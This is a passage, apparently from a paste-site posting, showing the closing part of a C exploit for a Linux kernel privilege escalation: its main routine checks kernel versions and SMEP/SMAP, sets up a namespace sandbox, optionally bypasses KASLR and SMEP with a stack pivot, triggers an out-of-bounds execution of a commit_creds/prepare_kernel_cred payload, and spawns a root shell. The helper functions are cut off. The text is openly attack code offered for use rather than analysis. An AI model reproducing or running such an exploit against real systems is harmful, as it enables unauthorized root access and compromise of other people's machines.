  621. printf("[.] checking if we got root\n");
  622. if (!is_root()) {
  623. printf("[-] something went wrong =(\n");
  624. return;
  625. }
  626. printf("[+] got r00t ^_^\n");
  627. exec_shell();
  628. }
  629.  
  630. int main(int argc, char** argv) {
  631. printf("[.] starting\n");
  632.  
  633. printf("[.] checking distro and kernel versions\n");
  634. detect_versions();
  635. printf("[~] done, versions looks good\n");
  636.  
  637. printf("[.] checking SMEP and SMAP\n");
  638. check_smep_smap();
  639. printf("[~] done, looks good\n");
  640.  
  641. printf("[.] setting up namespace sandbox\n");
  642. setup_sandbox();
  643. printf("[~] done, namespace sandbox set up\n");
  644.  
  645. #if ENABLE_KASLR_BYPASS
  646. printf("[.] KASLR bypass enabled, getting kernel addr\n");
  647. KERNEL_BASE = get_kernel_addr();
  648. printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
  649. #endif
  650.  
  651. printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
  652. printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
  653.  
  654. unsigned long payload = (unsigned long)&get_root;
  655.  
  656. #if ENABLE_SMEP_BYPASS
  657. printf("[.] SMEP bypass enabled, mmapping fake stack\n");
  658. mmap_stack();
  659. payload = XCHG_EAX_ESP_RET;
  660. printf("[~] done, fake stack mmapped\n");
  661. #endif
  662.  
  663. printf("[.] executing payload %lx\n", payload);
  664. oob_execute(payload);
  665. printf("[~] done, should be root now\n");
  666.  
  667. check_root();
  668.  
  669. return 0;
  670. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement